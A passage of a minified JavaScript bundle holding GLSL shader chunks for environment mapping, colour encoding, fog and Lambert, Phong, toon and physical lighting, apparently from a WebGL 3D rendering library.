texelSize;\n\t\tvec3 tr = envMapTexelToLinear( texture2D( envMap, uv ) ).rgb;\n\t\tuv.y += texelSize;\n\t\tvec3 br = envMapTexelToLinear( texture2D( envMap, uv ) ).rgb;\n\t\tuv.x -= texelSize;\n\t\tvec3 bl = envMapTexelToLinear( texture2D( envMap, uv ) ).rgb;\n\t\tvec3 tm = mix( tl, tr, f.x );\n\t\tvec3 bm = mix( bl, br, f.x );\n\t\treturn mix( tm, bm, f.y );\n\t}\n\t#define r0 1.0\n\t#define v0 0.339\n\t#define m0 - 2.0\n\t#define r1 0.8\n\t#define v1 0.276\n\t#define m1 - 1.0\n\t#define r4 0.4\n\t#define v4 0.046\n\t#define m4 2.0\n\t#define r5 0.305\n\t#define v5 0.016\n\t#define m5 3.0\n\t#define r6 0.21\n\t#define v6 0.0038\n\t#define m6 4.0\n\tfloat roughnessToMip( float roughness ) {\n\t\tfloat mip = 0.0;\n\t\tif ( roughness >= r1 ) {\n\t\t\tmip = ( r0 - roughness ) * ( m1 - m0 ) / ( r0 - r1 ) + m0;\n\t\t} else if ( roughness >= r4 ) {\n\t\t\tmip = ( r1 - roughness ) * ( m4 - m1 ) / ( r1 - r4 ) + m1;\n\t\t} else if ( roughness >= r5 ) {\n\t\t\tmip = ( r4 - roughness ) * ( m5 - m4 ) / ( r4 - r5 ) + m4;\n\t\t} else if ( roughness >= r6 ) {\n\t\t\tmip = ( r5 - roughness ) * ( m6 - m5 ) / ( r5 - r6 ) + m5;\n\t\t} else {\n\t\t\tmip = - 2.0 * log2( 1.16 * roughness );\t\t}\n\t\treturn mip;\n\t}\n\tvec4 textureCubeUV( sampler2D envMap, vec3 sampleDir, float roughness ) {\n\t\tfloat mip = clamp( roughnessToMip( roughness ), m0, cubeUV_maxMipLevel );\n\t\tfloat mipF = fract( mip );\n\t\tfloat mipInt = floor( mip );\n\t\tvec3 color0 = bilinearCubeUV( envMap, sampleDir, mipInt );\n\t\tif ( mipF == 0.0 ) {\n\t\t\treturn vec4( color0, 1.0 );\n\t\t} else {\n\t\t\tvec3 color1 = bilinearCubeUV( envMap, sampleDir, mipInt + 1.0 );\n\t\t\treturn vec4( mix( color0, color1, mipF ), 1.0 );\n\t\t}\n\t}\n#endif",defaultnormal_vertex:"vec3 transformedNormal = objectNormal;\n#ifdef USE_INSTANCING\n\tmat3 m = mat3( instanceMatrix );\n\ttransformedNormal /= vec3( dot( m[ 0 ], m[ 0 ] ), dot( m[ 1 ], m[ 1 ] ), dot( m[ 2 ], m[ 2 ] ) );\n\ttransformedNormal = m * transformedNormal;\n#endif\ntransformedNormal = normalMatrix * transformedNormal;\n#ifdef FLIP_SIDED\n\ttransformedNormal = - transformedNormal;\n#endif\n#ifdef USE_TANGENT\n\tvec3 transformedTangent = ( modelViewMatrix * vec4( objectTangent, 0.0 ) ).xyz;\n\t#ifdef FLIP_SIDED\n\t\ttransformedTangent = - transformedTangent;\n\t#endif\n#endif",displacementmap_pars_vertex:"#ifdef USE_DISPLACEMENTMAP\n\tuniform sampler2D displacementMap;\n\tuniform float displacementScale;\n\tuniform float displacementBias;\n#endif",displacementmap_vertex:"#ifdef USE_DISPLACEMENTMAP\n\ttransformed += normalize( objectNormal ) * ( texture2D( displacementMap, vUv ).x * displacementScale + displacementBias );\n#endif",emissivemap_fragment:"#ifdef USE_EMISSIVEMAP\n\tvec4 emissiveColor = texture2D( emissiveMap, vUv );\n\temissiveColor.rgb = emissiveMapTexelToLinear( emissiveColor ).rgb;\n\ttotalEmissiveRadiance *= emissiveColor.rgb;\n#endif",emissivemap_pars_fragment:"#ifdef USE_EMISSIVEMAP\n\tuniform sampler2D emissiveMap;\n#endif",encodings_fragment:"gl_FragColor = linearToOutputTexel( gl_FragColor );",encodings_pars_fragment:"\nvec4 LinearToLinear( in vec4 value ) {\n\treturn value;\n}\nvec4 GammaToLinear( in vec4 value, in float gammaFactor ) {\n\treturn vec4( pow( value.rgb, vec3( gammaFactor ) ), value.a );\n}\nvec4 LinearToGamma( in vec4 value, in float gammaFactor ) {\n\treturn vec4( pow( value.rgb, vec3( 1.0 / gammaFactor ) ), value.a );\n}\nvec4 sRGBToLinear( in vec4 value ) {\n\treturn vec4( mix( pow( value.rgb * 0.9478672986 + vec3( 0.0521327014 ), vec3( 2.4 ) ), value.rgb * 0.0773993808, vec3( lessThanEqual( value.rgb, vec3( 0.04045 ) ) ) ), value.a );\n}\nvec4 LinearTosRGB( in vec4 value ) {\n\treturn vec4( mix( pow( value.rgb, vec3( 0.41666 ) ) * 1.055 - vec3( 0.055 ), value.rgb * 12.92, vec3( lessThanEqual( value.rgb, vec3( 0.0031308 ) ) ) ), value.a );\n}\nvec4 RGBEToLinear( in vec4 value ) {\n\treturn vec4( value.rgb * exp2( value.a * 255.0 - 128.0 ), 1.0 );\n}\nvec4 LinearToRGBE( in vec4 value ) {\n\tfloat maxComponent = max( max( value.r, value.g ), value.b );\n\tfloat fExp = clamp( ceil( log2( maxComponent ) ), -128.0, 127.0 );\n\treturn vec4( value.rgb / exp2( fExp ), ( fExp + 128.0 ) / 255.0 );\n}\nvec4 RGBMToLinear( in vec4 value, in float maxRange ) {\n\treturn vec4( value.rgb * value.a * maxRange, 1.0 );\n}\nvec4 LinearToRGBM( in vec4 value, in float maxRange ) {\n\tfloat maxRGB = max( value.r, max( value.g, value.b ) );\n\tfloat M = clamp( maxRGB / maxRange, 0.0, 1.0 );\n\tM = ceil( M * 255.0 ) / 255.0;\n\treturn vec4( value.rgb / ( M * maxRange ), M );\n}\nvec4 RGBDToLinear( in vec4 value, in float maxRange ) {\n\treturn vec4( value.rgb * ( ( maxRange / 255.0 ) / value.a ), 1.0 );\n}\nvec4 LinearToRGBD( in vec4 value, in float maxRange ) {\n\tfloat maxRGB = max( value.r, max( value.g, value.b ) );\n\tfloat D = max( maxRange / maxRGB, 1.0 );\n\tD = clamp( floor( D ) / 255.0, 0.0, 1.0 );\n\treturn vec4( value.rgb * ( D * ( 255.0 / maxRange ) ), D );\n}\nconst mat3 cLogLuvM = mat3( 0.2209, 0.3390, 0.4184, 0.1138, 0.6780, 0.7319, 0.0102, 0.1130, 0.2969 );\nvec4 LinearToLogLuv( in vec4 value ) {\n\tvec3 Xp_Y_XYZp = cLogLuvM * value.rgb;\n\tXp_Y_XYZp = max( Xp_Y_XYZp, vec3( 1e-6, 1e-6, 1e-6 ) );\n\tvec4 vResult;\n\tvResult.xy = Xp_Y_XYZp.xy / Xp_Y_XYZp.z;\n\tfloat Le = 2.0 * log2(Xp_Y_XYZp.y) + 127.0;\n\tvResult.w = fract( Le );\n\tvResult.z = ( Le - ( floor( vResult.w * 255.0 ) ) / 255.0 ) / 255.0;\n\treturn vResult;\n}\nconst mat3 cLogLuvInverseM = mat3( 6.0014, -2.7008, -1.7996, -1.3320, 3.1029, -5.7721, 0.3008, -1.0882, 5.6268 );\nvec4 LogLuvToLinear( in vec4 value ) {\n\tfloat Le = value.z * 255.0 + value.w;\n\tvec3 Xp_Y_XYZp;\n\tXp_Y_XYZp.y = exp2( ( Le - 127.0 ) / 2.0 );\n\tXp_Y_XYZp.z = Xp_Y_XYZp.y / value.y;\n\tXp_Y_XYZp.x = value.x * Xp_Y_XYZp.z;\n\tvec3 vRGB = cLogLuvInverseM * Xp_Y_XYZp.rgb;\n\treturn vec4( max( vRGB, 0.0 ), 1.0 );\n}",envmap_fragment:"#ifdef USE_ENVMAP\n\t#ifdef ENV_WORLDPOS\n\t\tvec3 cameraToFrag;\n\t\tif ( isOrthographic ) {\n\t\t\tcameraToFrag = normalize( vec3( - viewMatrix[ 0 ][ 2 ], - viewMatrix[ 1 ][ 2 ], - viewMatrix[ 2 ][ 2 ] ) );\n\t\t} else {\n\t\t\tcameraToFrag = normalize( vWorldPosition - cameraPosition );\n\t\t}\n\t\tvec3 worldNormal = inverseTransformDirection( normal, viewMatrix );\n\t\t#ifdef ENVMAP_MODE_REFLECTION\n\t\t\tvec3 reflectVec = reflect( cameraToFrag, worldNormal );\n\t\t#else\n\t\t\tvec3 reflectVec = refract( cameraToFrag, worldNormal, refractionRatio );\n\t\t#endif\n\t#else\n\t\tvec3 reflectVec = vReflect;\n\t#endif\n\t#ifdef ENVMAP_TYPE_CUBE\n\t\tvec4 envColor = textureCube( envMap, vec3( flipEnvMap * reflectVec.x, reflectVec.yz ) );\n\t#elif defined( ENVMAP_TYPE_CUBE_UV )\n\t\tvec4 envColor = textureCubeUV( envMap, reflectVec, 0.0 );\n\t#else\n\t\tvec4 envColor = vec4( 0.0 );\n\t#endif\n\t#ifndef ENVMAP_TYPE_CUBE_UV\n\t\tenvColor = envMapTexelToLinear( envColor );\n\t#endif\n\t#ifdef ENVMAP_BLENDING_MULTIPLY\n\t\toutgoingLight = mix( outgoingLight, outgoingLight * envColor.xyz, specularStrength * reflectivity );\n\t#elif defined( ENVMAP_BLENDING_MIX )\n\t\toutgoingLight = mix( outgoingLight, envColor.xyz, specularStrength * reflectivity );\n\t#elif defined( ENVMAP_BLENDING_ADD )\n\t\toutgoingLight += envColor.xyz * specularStrength * reflectivity;\n\t#endif\n#endif",envmap_common_pars_fragment:"#ifdef USE_ENVMAP\n\tuniform float envMapIntensity;\n\tuniform float flipEnvMap;\n\tuniform int maxMipLevel;\n\t#ifdef ENVMAP_TYPE_CUBE\n\t\tuniform samplerCube envMap;\n\t#else\n\t\tuniform sampler2D envMap;\n\t#endif\n\t\n#endif",envmap_pars_fragment:"#ifdef USE_ENVMAP\n\tuniform float reflectivity;\n\t#if defined( USE_BUMPMAP ) || defined( USE_NORMALMAP ) || defined( PHONG )\n\t\t#define ENV_WORLDPOS\n\t#endif\n\t#ifdef ENV_WORLDPOS\n\t\tvarying vec3 vWorldPosition;\n\t\tuniform float refractionRatio;\n\t#else\n\t\tvarying vec3 vReflect;\n\t#endif\n#endif",envmap_pars_vertex:"#ifdef USE_ENVMAP\n\t#if defined( USE_BUMPMAP ) || defined( USE_NORMALMAP ) ||defined( PHONG )\n\t\t#define ENV_WORLDPOS\n\t#endif\n\t#ifdef ENV_WORLDPOS\n\t\t\n\t\tvarying vec3 vWorldPosition;\n\t#else\n\t\tvarying vec3 vReflect;\n\t\tuniform float refractionRatio;\n\t#endif\n#endif",envmap_physical_pars_fragment:"#if defined( USE_ENVMAP )\n\t#ifdef ENVMAP_MODE_REFRACTION\n\t\tuniform float refractionRatio;\n\t#endif\n\tvec3 getLightProbeIndirectIrradiance( const in GeometricContext geometry, const in int maxMIPLevel ) {\n\t\tvec3 worldNormal = inverseTransformDirection( geometry.normal, viewMatrix );\n\t\t#ifdef ENVMAP_TYPE_CUBE\n\t\t\tvec3 queryVec = vec3( flipEnvMap * worldNormal.x, worldNormal.yz );\n\t\t\t#ifdef TEXTURE_LOD_EXT\n\t\t\t\tvec4 envMapColor = textureCubeLodEXT( envMap, queryVec, float( maxMIPLevel ) );\n\t\t\t#else\n\t\t\t\tvec4 envMapColor = textureCube( envMap, queryVec, float( maxMIPLevel ) );\n\t\t\t#endif\n\t\t\tenvMapColor.rgb = envMapTexelToLinear( envMapColor ).rgb;\n\t\t#elif defined( ENVMAP_TYPE_CUBE_UV )\n\t\t\tvec4 envMapColor = textureCubeUV( envMap, worldNormal, 1.0 );\n\t\t#else\n\t\t\tvec4 envMapColor = vec4( 0.0 );\n\t\t#endif\n\t\treturn PI * envMapColor.rgb * envMapIntensity;\n\t}\n\tfloat getSpecularMIPLevel( const in float roughness, const in int maxMIPLevel ) {\n\t\tfloat maxMIPLevelScalar = float( maxMIPLevel );\n\t\tfloat sigma = PI * roughness * roughness / ( 1.0 + roughness );\n\t\tfloat desiredMIPLevel = maxMIPLevelScalar + log2( sigma );\n\t\treturn clamp( desiredMIPLevel, 0.0, maxMIPLevelScalar );\n\t}\n\tvec3 getLightProbeIndirectRadiance( const in vec3 viewDir, const in vec3 normal, const in float roughness, const in int maxMIPLevel ) {\n\t\t#ifdef ENVMAP_MODE_REFLECTION\n\t\t\tvec3 reflectVec = reflect( -viewDir, normal );\n\t\t\treflectVec = normalize( mix( reflectVec, normal, roughness * roughness) );\n\t\t#else\n\t\t\tvec3 reflectVec = refract( -viewDir, normal, refractionRatio );\n\t\t#endif\n\t\treflectVec = inverseTransformDirection( reflectVec, viewMatrix );\n\t\tfloat specularMIPLevel = getSpecularMIPLevel( roughness, maxMIPLevel );\n\t\t#ifdef ENVMAP_TYPE_CUBE\n\t\t\tvec3 queryReflectVec = vec3( flipEnvMap * reflectVec.x, reflectVec.yz );\n\t\t\t#ifdef TEXTURE_LOD_EXT\n\t\t\t\tvec4 envMapColor = textureCubeLodEXT( envMap, queryReflectVec, specularMIPLevel );\n\t\t\t#else\n\t\t\t\tvec4 envMapColor = textureCube( envMap, queryReflectVec, specularMIPLevel );\n\t\t\t#endif\n\t\t\tenvMapColor.rgb = envMapTexelToLinear( envMapColor ).rgb;\n\t\t#elif defined( ENVMAP_TYPE_CUBE_UV )\n\t\t\tvec4 envMapColor = textureCubeUV( envMap, reflectVec, roughness );\n\t\t#endif\n\t\treturn envMapColor.rgb * envMapIntensity;\n\t}\n#endif",envmap_vertex:"#ifdef USE_ENVMAP\n\t#ifdef ENV_WORLDPOS\n\t\tvWorldPosition = worldPosition.xyz;\n\t#else\n\t\tvec3 cameraToVertex;\n\t\tif ( isOrthographic ) {\n\t\t\tcameraToVertex = normalize( vec3( - viewMatrix[ 0 ][ 2 ], - viewMatrix[ 1 ][ 2 ], - viewMatrix[ 2 ][ 2 ] ) );\n\t\t} else {\n\t\t\tcameraToVertex = normalize( worldPosition.xyz - cameraPosition );\n\t\t}\n\t\tvec3 worldNormal = inverseTransformDirection( transformedNormal, viewMatrix );\n\t\t#ifdef ENVMAP_MODE_REFLECTION\n\t\t\tvReflect = reflect( cameraToVertex, worldNormal );\n\t\t#else\n\t\t\tvReflect = refract( cameraToVertex, worldNormal, refractionRatio );\n\t\t#endif\n\t#endif\n#endif",fog_vertex:"#ifdef USE_FOG\n\tfogDepth = - mvPosition.z;\n#endif",fog_pars_vertex:"#ifdef USE_FOG\n\tvarying float fogDepth;\n#endif",fog_fragment:"#ifdef USE_FOG\n\t#ifdef FOG_EXP2\n\t\tfloat fogFactor = 1.0 - exp( - fogDensity * fogDensity * fogDepth * fogDepth );\n\t#else\n\t\tfloat fogFactor = smoothstep( fogNear, fogFar, fogDepth );\n\t#endif\n\tgl_FragColor.rgb = mix( gl_FragColor.rgb, fogColor, fogFactor );\n#endif",fog_pars_fragment:"#ifdef USE_FOG\n\tuniform vec3 fogColor;\n\tvarying float fogDepth;\n\t#ifdef FOG_EXP2\n\t\tuniform float fogDensity;\n\t#else\n\t\tuniform float fogNear;\n\t\tuniform float fogFar;\n\t#endif\n#endif",gradientmap_pars_fragment:"#ifdef USE_GRADIENTMAP\n\tuniform sampler2D gradientMap;\n#endif\nvec3 getGradientIrradiance( vec3 normal, vec3 lightDirection ) {\n\tfloat dotNL = dot( normal, lightDirection );\n\tvec2 coord = vec2( dotNL * 0.5 + 0.5, 0.0 );\n\t#ifdef USE_GRADIENTMAP\n\t\treturn texture2D( gradientMap, coord ).rgb;\n\t#else\n\t\treturn ( coord.x < 0.7 ) ? vec3( 0.7 ) : vec3( 1.0 );\n\t#endif\n}",lightmap_fragment:"#ifdef USE_LIGHTMAP\n\tvec4 lightMapTexel= texture2D( lightMap, vUv2 );\n\treflectedLight.indirectDiffuse += PI * lightMapTexelToLinear( lightMapTexel ).rgb * lightMapIntensity;\n#endif",lightmap_pars_fragment:"#ifdef USE_LIGHTMAP\n\tuniform sampler2D lightMap;\n\tuniform float lightMapIntensity;\n#endif",lights_lambert_vertex:"vec3 diffuse = vec3( 1.0 );\nGeometricContext geometry;\ngeometry.position = mvPosition.xyz;\ngeometry.normal = normalize( transformedNormal );\ngeometry.viewDir = ( isOrthographic ) ? vec3( 0, 0, 1 ) : normalize( -mvPosition.xyz );\nGeometricContext backGeometry;\nbackGeometry.position = geometry.position;\nbackGeometry.normal = -geometry.normal;\nbackGeometry.viewDir = geometry.viewDir;\nvLightFront = vec3( 0.0 );\nvIndirectFront = vec3( 0.0 );\n#ifdef DOUBLE_SIDED\n\tvLightBack = vec3( 0.0 );\n\tvIndirectBack = vec3( 0.0 );\n#endif\nIncidentLight directLight;\nfloat dotNL;\nvec3 directLightColor_Diffuse;\nvIndirectFront += getAmbientLightIrradiance( ambientLightColor );\nvIndirectFront += getLightProbeIrradiance( lightProbe, geometry );\n#ifdef DOUBLE_SIDED\n\tvIndirectBack += getAmbientLightIrradiance( ambientLightColor );\n\tvIndirectBack += getLightProbeIrradiance( lightProbe, backGeometry );\n#endif\n#if NUM_POINT_LIGHTS > 0\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_POINT_LIGHTS; i ++ ) {\n\t\tgetPointDirectLightIrradiance( pointLights[ i ], geometry, directLight );\n\t\tdotNL = dot( geometry.normal, directLight.direction );\n\t\tdirectLightColor_Diffuse = PI * directLight.color;\n\t\tvLightFront += saturate( dotNL ) * directLightColor_Diffuse;\n\t\t#ifdef DOUBLE_SIDED\n\t\t\tvLightBack += saturate( -dotNL ) * directLightColor_Diffuse;\n\t\t#endif\n\t}\n\t#pragma unroll_loop_end\n#endif\n#if NUM_SPOT_LIGHTS > 0\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_SPOT_LIGHTS; i ++ ) {\n\t\tgetSpotDirectLightIrradiance( spotLights[ i ], geometry, directLight );\n\t\tdotNL = dot( geometry.normal, directLight.direction );\n\t\tdirectLightColor_Diffuse = PI * directLight.color;\n\t\tvLightFront += saturate( dotNL ) * directLightColor_Diffuse;\n\t\t#ifdef DOUBLE_SIDED\n\t\t\tvLightBack += saturate( -dotNL ) * directLightColor_Diffuse;\n\t\t#endif\n\t}\n\t#pragma unroll_loop_end\n#endif\n#if NUM_DIR_LIGHTS > 0\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_DIR_LIGHTS; i ++ ) {\n\t\tgetDirectionalDirectLightIrradiance( directionalLights[ i ], geometry, directLight );\n\t\tdotNL = dot( geometry.normal, directLight.direction );\n\t\tdirectLightColor_Diffuse = PI * directLight.color;\n\t\tvLightFront += saturate( dotNL ) * directLightColor_Diffuse;\n\t\t#ifdef DOUBLE_SIDED\n\t\t\tvLightBack += saturate( -dotNL ) * directLightColor_Diffuse;\n\t\t#endif\n\t}\n\t#pragma unroll_loop_end\n#endif\n#if NUM_HEMI_LIGHTS > 0\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_HEMI_LIGHTS; i ++ ) {\n\t\tvIndirectFront += getHemisphereLightIrradiance( hemisphereLights[ i ], geometry );\n\t\t#ifdef DOUBLE_SIDED\n\t\t\tvIndirectBack += getHemisphereLightIrradiance( hemisphereLights[ i ], backGeometry );\n\t\t#endif\n\t}\n\t#pragma unroll_loop_end\n#endif",lights_pars_begin:"uniform bool receiveShadow;\nuniform vec3 ambientLightColor;\nuniform vec3 lightProbe[ 9 ];\nvec3 shGetIrradianceAt( in vec3 normal, in vec3 shCoefficients[ 9 ] ) {\n\tfloat x = normal.x, y = normal.y, z = normal.z;\n\tvec3 result = shCoefficients[ 0 ] * 0.886227;\n\tresult += shCoefficients[ 1 ] * 2.0 * 0.511664 * y;\n\tresult += shCoefficients[ 2 ] * 2.0 * 0.511664 * z;\n\tresult += shCoefficients[ 3 ] * 2.0 * 0.511664 * x;\n\tresult += shCoefficients[ 4 ] * 2.0 * 0.429043 * x * y;\n\tresult += shCoefficients[ 5 ] * 2.0 * 0.429043 * y * z;\n\tresult += shCoefficients[ 6 ] * ( 0.743125 * z * z - 0.247708 );\n\tresult += shCoefficients[ 7 ] * 2.0 * 0.429043 * x * z;\n\tresult += shCoefficients[ 8 ] * 0.429043 * ( x * x - y * y );\n\treturn result;\n}\nvec3 getLightProbeIrradiance( const in vec3 lightProbe[ 9 ], const in GeometricContext geometry ) {\n\tvec3 worldNormal = inverseTransformDirection( geometry.normal, viewMatrix );\n\tvec3 irradiance = shGetIrradianceAt( worldNormal, lightProbe );\n\treturn irradiance;\n}\nvec3 getAmbientLightIrradiance( const in vec3 ambientLightColor ) {\n\tvec3 irradiance = ambientLightColor;\n\t#ifndef PHYSICALLY_CORRECT_LIGHTS\n\t\tirradiance *= PI;\n\t#endif\n\treturn irradiance;\n}\n#if NUM_DIR_LIGHTS > 0\n\tstruct DirectionalLight {\n\t\tvec3 direction;\n\t\tvec3 color;\n\t};\n\tuniform DirectionalLight directionalLights[ NUM_DIR_LIGHTS ];\n\tvoid getDirectionalDirectLightIrradiance( const in DirectionalLight directionalLight, const in GeometricContext geometry, out IncidentLight directLight ) {\n\t\tdirectLight.color = directionalLight.color;\n\t\tdirectLight.direction = directionalLight.direction;\n\t\tdirectLight.visible = true;\n\t}\n#endif\n#if NUM_POINT_LIGHTS > 0\n\tstruct PointLight {\n\t\tvec3 position;\n\t\tvec3 color;\n\t\tfloat distance;\n\t\tfloat decay;\n\t};\n\tuniform PointLight pointLights[ NUM_POINT_LIGHTS ];\n\tvoid getPointDirectLightIrradiance( const in PointLight pointLight, const in GeometricContext geometry, out IncidentLight directLight ) {\n\t\tvec3 lVector = pointLight.position - geometry.position;\n\t\tdirectLight.direction = normalize( lVector );\n\t\tfloat lightDistance = length( lVector );\n\t\tdirectLight.color = pointLight.color;\n\t\tdirectLight.color *= punctualLightIntensityToIrradianceFactor( lightDistance, pointLight.distance, pointLight.decay );\n\t\tdirectLight.visible = ( directLight.color != vec3( 0.0 ) );\n\t}\n#endif\n#if NUM_SPOT_LIGHTS > 0\n\tstruct SpotLight {\n\t\tvec3 position;\n\t\tvec3 direction;\n\t\tvec3 color;\n\t\tfloat distance;\n\t\tfloat decay;\n\t\tfloat coneCos;\n\t\tfloat penumbraCos;\n\t};\n\tuniform SpotLight spotLights[ NUM_SPOT_LIGHTS ];\n\tvoid getSpotDirectLightIrradiance( const in SpotLight spotLight, const in GeometricContext geometry, out IncidentLight directLight ) {\n\t\tvec3 lVector = spotLight.position - geometry.position;\n\t\tdirectLight.direction = normalize( lVector );\n\t\tfloat lightDistance = length( lVector );\n\t\tfloat angleCos = dot( directLight.direction, spotLight.direction );\n\t\tif ( angleCos > spotLight.coneCos ) {\n\t\t\tfloat spotEffect = smoothstep( spotLight.coneCos, spotLight.penumbraCos, angleCos );\n\t\t\tdirectLight.color = spotLight.color;\n\t\t\tdirectLight.color *= spotEffect * punctualLightIntensityToIrradianceFactor( lightDistance, spotLight.distance, spotLight.decay );\n\t\t\tdirectLight.visible = true;\n\t\t} else {\n\t\t\tdirectLight.color = vec3( 0.0 );\n\t\t\tdirectLight.visible = false;\n\t\t}\n\t}\n#endif\n#if NUM_RECT_AREA_LIGHTS > 0\n\tstruct RectAreaLight {\n\t\tvec3 color;\n\t\tvec3 position;\n\t\tvec3 halfWidth;\n\t\tvec3 halfHeight;\n\t};\n\tuniform sampler2D ltc_1;\tuniform sampler2D ltc_2;\n\tuniform RectAreaLight rectAreaLights[ NUM_RECT_AREA_LIGHTS ];\n#endif\n#if NUM_HEMI_LIGHTS > 0\n\tstruct HemisphereLight {\n\t\tvec3 direction;\n\t\tvec3 skyColor;\n\t\tvec3 groundColor;\n\t};\n\tuniform HemisphereLight hemisphereLights[ NUM_HEMI_LIGHTS ];\n\tvec3 getHemisphereLightIrradiance( const in HemisphereLight hemiLight, const in GeometricContext geometry ) {\n\t\tfloat dotNL = dot( geometry.normal, hemiLight.direction );\n\t\tfloat hemiDiffuseWeight = 0.5 * dotNL + 0.5;\n\t\tvec3 irradiance = mix( hemiLight.groundColor, hemiLight.skyColor, hemiDiffuseWeight );\n\t\t#ifndef PHYSICALLY_CORRECT_LIGHTS\n\t\t\tirradiance *= PI;\n\t\t#endif\n\t\treturn irradiance;\n\t}\n#endif",lights_toon_fragment:"ToonMaterial material;\nmaterial.diffuseColor = diffuseColor.rgb;",lights_toon_pars_fragment:"varying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n#endif\nstruct ToonMaterial {\n\tvec3 diffuseColor;\n};\nvoid RE_Direct_Toon( const in IncidentLight directLight, const in GeometricContext geometry, const in ToonMaterial material, inout ReflectedLight reflectedLight ) {\n\tvec3 irradiance = getGradientIrradiance( geometry.normal, directLight.direction ) * directLight.color;\n\t#ifndef PHYSICALLY_CORRECT_LIGHTS\n\t\tirradiance *= PI;\n\t#endif\n\treflectedLight.directDiffuse += irradiance * BRDF_Diffuse_Lambert( material.diffuseColor );\n}\nvoid RE_IndirectDiffuse_Toon( const in vec3 irradiance, const in GeometricContext geometry, const in ToonMaterial material, inout ReflectedLight reflectedLight ) {\n\treflectedLight.indirectDiffuse += irradiance * BRDF_Diffuse_Lambert( material.diffuseColor );\n}\n#define RE_Direct\t\t\t\tRE_Direct_Toon\n#define RE_IndirectDiffuse\t\tRE_IndirectDiffuse_Toon\n#define Material_LightProbeLOD( material )\t(0)",lights_phong_fragment:"BlinnPhongMaterial material;\nmaterial.diffuseColor = diffuseColor.rgb;\nmaterial.specularColor = specular;\nmaterial.specularShininess = shininess;\nmaterial.specularStrength = specularStrength;",lights_phong_pars_fragment:"varying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n#endif\nstruct BlinnPhongMaterial {\n\tvec3 diffuseColor;\n\tvec3 specularColor;\n\tfloat specularShininess;\n\tfloat specularStrength;\n};\nvoid RE_Direct_BlinnPhong( const in IncidentLight directLight, const in GeometricContext geometry, const in BlinnPhongMaterial material, inout ReflectedLight reflectedLight ) {\n\tfloat dotNL = saturate( dot( geometry.normal, directLight.direction ) );\n\tvec3 irradiance = dotNL * directLight.color;\n\t#ifndef PHYSICALLY_CORRECT_LIGHTS\n\t\tirradiance *= PI;\n\t#endif\n\treflectedLight.directDiffuse += irradiance * BRDF_Diffuse_Lambert( material.diffuseColor );\n\treflectedLight.directSpecular += irradiance * BRDF_Specular_BlinnPhong( directLight, geometry, material.specularColor, material.specularShininess ) * material.specularStrength;\n}\nvoid RE_IndirectDiffuse_BlinnPhong( const in vec3 irradiance, const in GeometricContext geometry, const in BlinnPhongMaterial material, inout ReflectedLight reflectedLight ) {\n\treflectedLight.indirectDiffuse += irradiance * BRDF_Diffuse_Lambert( material.diffuseColor );\n}\n#define RE_Direct\t\t\t\tRE_Direct_BlinnPhong\n#define RE_IndirectDiffuse\t\tRE_IndirectDiffuse_BlinnPhong\n#define Material_LightProbeLOD( material )\t(0)",lights_physical_fragment:"PhysicalMaterial material;\nmaterial.diffuseColor = diffuseColor.rgb * ( 1.0 - metalnessFactor );\nvec3 dxy = max( abs( dFdx( geometryNormal ) ), abs( dFdy( geometryNormal ) ) );\nfloat geometryRoughness = max( max( dxy.x, dxy.y ), dxy.z );\nmaterial.specularRoughness = max( roughnessFactor, 0.0525 );material.specularRoughness += geometryRoughness;\nmaterial.specularRoughness = min( material.specularRoughness, 1.0 );\n#ifdef REFLECTIVITY\n\tmaterial.specularColor = mix( vec3( MAXIMUM_SPECULAR_COEFFICIENT * pow2( reflectivity ) ), diffuseColor.rgb, metalnessFactor );\n#else\n\tmaterial.specularColor = mix( vec3( DEFAULT_SPECULAR_COEFFICIENT ), diffuseColor.rgb, metalnessFactor );\n#endif\n#ifdef CLEARCOAT\n\tmaterial.clearcoat = clearcoat;\n\tmaterial.clearcoatRoughness = clearcoatRoughness;\n\t#ifdef USE_CLEARCOATMAP\n\t\tmaterial.clearcoat *= texture2D( clearcoatMap, vUv ).x;\n\t#endif\n\t#ifdef USE_CLEARCOAT_ROUGHNESSMAP\n\t\tmaterial.clearcoatRoughness *= texture2D( clearcoatRoughnessMap, vUv ).y;\n\t#endif\n\tmaterial.clearcoat = saturate( material.clearcoat );\tmaterial.clearcoatRoughness = max( material.clearcoatRoughness, 0.0525 );\n\tmaterial.clearcoatRoughness += geometryRoughness;\n\tmaterial.clearcoatRoughness = min( material.clearcoatRoughness, 1.0 );\n#endif\n#ifdef USE_SHEEN\n\tmaterial.sheenColor = sheen;\n#endif",lights_physical_pars_fragment:"struct PhysicalMaterial {\n\tvec3 diffuseColor;\n\tfloat specularRoughness;\n\tvec3 specularColor;\n#ifdef CLEARCOAT\n\tfloat clearcoat;\n\tfloat clearcoatRoughness;\n#endif\n#ifdef USE_SHEEN\n\tvec3 sheenColor;\n#endif\n};\n#define MAXIMUM_SPECULAR_COEFFICIENT 0.16\n#define DEFAULT_SPECULAR_COEFFICIENT 0.04\nfloat clearcoatDHRApprox( const in float roughness, const in float dotNL ) {\n\treturn DEFAULT_SPECULAR_COEFFICIENT + ( 1.0 - DEFAULT_SPECULAR_COEFFICIENT ) * ( pow( 1.0 - dotNL, 5.0 ) * pow( 1.0 - roughness, 2.0 ) );\n}\n#if NUM_RECT_AREA_LIGHTS > 0\n\tvoid RE_Direct_RectArea_Physical( const in RectAreaLight rectAreaLight, const in GeometricContext geometry, const in PhysicalMaterial material, inout ReflectedLight reflectedLight ) {\n\t\tvec3 normal = geometry.normal;\n\t\tvec3 viewDir = geometry.viewDir;\n\t\tvec3 position = geometry.position;\n\t\tvec3 lightPos = rectAreaLight.position;\n\t\tvec3 halfWidth = rectAreaLight.halfWidth;\n\t\tvec3 halfHeight = rectAreaLight.halfHeight;\n\t\tvec3 lightColor = rectAreaLight.color;\n\t\tfloat roughness = material.specularRoughness;\n\t\tvec3 rectCoords[ 4 ];\n\t\trectCoords[ 0 ] = lightPos + halfWidth - halfHeight;\t\trectCoords[ 1 ] = lightPos - halfWidth - halfHeight;\n\t\trectCoords[ 2 ] = lightPos - halfWidth + halfHeight;\n\t\trectCoords[ 3 ] = lightPos + halfWidth + halfHeight;\n\t\tvec2 uv = LTC_Uv( normal, 